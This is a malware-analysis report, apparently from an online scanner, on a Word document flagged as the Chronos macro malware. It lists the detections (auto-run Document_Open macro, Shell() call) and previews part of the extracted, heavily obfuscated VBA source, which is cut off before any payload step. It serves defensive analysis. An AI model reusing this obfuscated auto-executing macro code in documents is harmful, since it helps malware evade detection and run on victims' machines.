MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands upon opening, a common technique for downloading and running additional malicious payloads. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25396 bytes |
SHA-256: dcc62328a79f35b4a28f5351ebfb4179003aa7e818f5f0ddce992917a900e7b6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub etlLSJ(oGIaBBz As Boolean)
lorOBQyJ = Space(12)
While JbBbXZ < 41
jxEClY = 120 - 624 - 1032
cGGlpZCj = Left("DB*!QmvD!i", 2)
xLfHUG = 1206 - 110 - 790
GOMRlbcm = 753 - 1619 - 1263
JbBbXZ = JbBbXZ + 2
Wend
ykTVF = StrReverse("lZ_HjcWkXN-Q")
jxEClY = RTrim("OC &.sJ$]NC[Bp")
jmKwmFs = UCase("SmVk]##bLMOD!)o ")
ykTVF = 372 - 1178 - 928
BCtePvr = "VXXWMhDbMgjj)OwWKRB]" + "mC_-bBV.vHxi" + "s-Zo-scZCCWjfqsGh"
jxEClY = Space(19)
nNacV = Left("SU(f[UBv.w VDzgQN", 2)
nNacV = Left("X#CiIvxRfpWy[ReG", 3)
nNacV = StrReverse(")MZOc?dknHV(riA")
jmKwmFs = "QqypJFSibWE$(" + "!cJebNO?s-NN$" + "))^dOWA*)?(X .od-"
xLfHUG = 136 + 1356 + 571
BCtePvr = Right("[C&ufAimwxK#", 3)
lorOBQyJ = StrReverse("xuAgy gatUnFeVsznJ")
xLfHUG = Space(18)
ykTVF = Right("^QpsfUtwPbtQ", 4)
GOMRlbcm = LTrim("jzDap(LxA@")
cGGlpZCj = StrReverse("OOTo.h]@aXbe]!h")
lorOBQyJ = 1158 + 1401 + 1336
xLfHUG = UCase(" bWslH %.XVMXf")
nNacV = Left("mcDkRAL!D!%OQ-Xfvmc?", 4)
GOMRlbcm = Left("cKsu)whO#Jh]VwXzw", 5)
jmKwmFs = 118 - 618 - 1823
lorOBQyJ = LTrim("#^(z]PPK#OaHxJj^IdF")
GOMRlbcm = 435 + 1496 + 589
nNacV = 1072 - 1090 - 1243
cGGlpZCj = "ddUpOMcKAyvWz" + "Ie]H) Du^m!m" + "iY-$eIb IG"
For WLCzrO = 0 To 87
jxEClY = UCase("qno#.IuWHW")
xLfHUG = "$Y@n(RmCJ?]A^" + "!IiCJ$tmM.*dncJ" + "nhdAdvovRXOVkoCNm^xI"
cGGlpZCj = 106 + 922 + 153
cXigp = Right("xZWwFTZdDcBMyBK qQG", 2)
GOMRlbcm = 1896 + 1318 + 650
jmKwmFs = "v_w.)JUmnuFa!E" + "pzwSJDm)?n?Fyoyu" + "Q^Y_f-?mu?J^l&kk%j"
cXigp = Left("p(TrKO*fzV!&w V$F#$", 2)
jxEClY = 640 - 262 - 172
lorOBQyJ = 1453 + 894 + 480
Next WLCzrO
cXigp = Left("U)Thw*G(NTPt", 4)
xLfHUG = LTrim("&MOuF@BQ-KY$CO.[mVR")
While IjztyD < 224
BCtePvr = UCase("dQaG(RT)ktQH&J-")
xLfHUG = StrReverse("-acOs&El XI")
nNacV = RTrim("DhJ@NIcrciOdr")
cGGlpZCj = Right("TF-# $xyAh@?FEmWA_[", 4)
jmKwmFs = 131 + 562 + 1797
IjztyD = IjztyD + 2
Wend
lorOBQyJ = "*b)Ey_E?H&" + "ENhXtJsodOn%aO]h!oc" + "m.l.yw]eXAm"
BCtePvr = StrReverse("izv!vkOlsXOhz#t")
lorOBQyJ = Right("pvWjAwYzx%rOZ", 3)
End Sub
Private Function OQpCCq(OznIlQp As Boolean, UxKpZK As Boolean, dcIDlGY As String) As String
lorOBQyJ = Right("sz^Oh#wR[C", 2)
lorOBQyJ = " DJ*_xvsTQ*b" + "PErf?*QQsIYrh)" + "Po.Sy%#oOIXybD)sd"
While yIcApr < 58
BCtePvr = Left("WUGj?]N[U*_o.#", 3)
lorOBQyJ = RTrim("#?ThBRGzKMIi(")
cGGlpZCj = 583 + 947 + 653
yIcApr = yIcApr + 2
Wend
GOMRlbcm = 304 + 691 + 632
xLfHUG = Left("y)vy_([SCX)Lvd", 3)
ykTVF = 1894 - 1528 - 1434
lorOBQyJ = 404 + 1286 + 293
jmKwmFs = Left("IbS* zUkLb?Wp%", 4)
GOMRlbcm = 1028 - 1022 - 1414
ykTVF = StrReverse("GrwCNPAHPU?[FrmtnD(")
ykTVF = 993 - 265 - 698
jmKwmFs = Left("cTwhHdRERV", 4)
jmKwmFs = "cLRc&uf &IA@zCSFb" + "HUeUv$hb)H%gYy" + "nmU*fXJNjUr"
BCtePvr = Space(13)
lorOBQyJ = 788 - 1983 - 388
nNacV = 1465 - 1532 - 965
While RLMrbP < 19
BCtePvr = Right("s$KJw&vcRy?OhWT^L", 3)
ykTVF = LTrim("g)g#wW$[eC#%")
cXigp = "(#JwMszQasXt&" + "HG_?kpuStNsB" + "u@y)LdZgj-"
cXigp = UCase("%eV^ Hsm%vKmQhuCvg&W")
cXigp = LTrim("lA[JMTA@jmw*")
nNacV = StrReverse("-Tj#G&d(NXTCF%r")
nNacV = 395 + 1452 + 609
cXigp = UCase("[&SAs^[b]EPLGR")
jxEClY = LTrim("he_SvLP-RBa]%^tS?")
GOMRlbcm = 1112 - 358 - 574
RLMrbP = RLMrbP + 1
Wend
xLfHUG = UCase("q(kzhtjfAEt_*WFFD")
jmKwmFs =
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.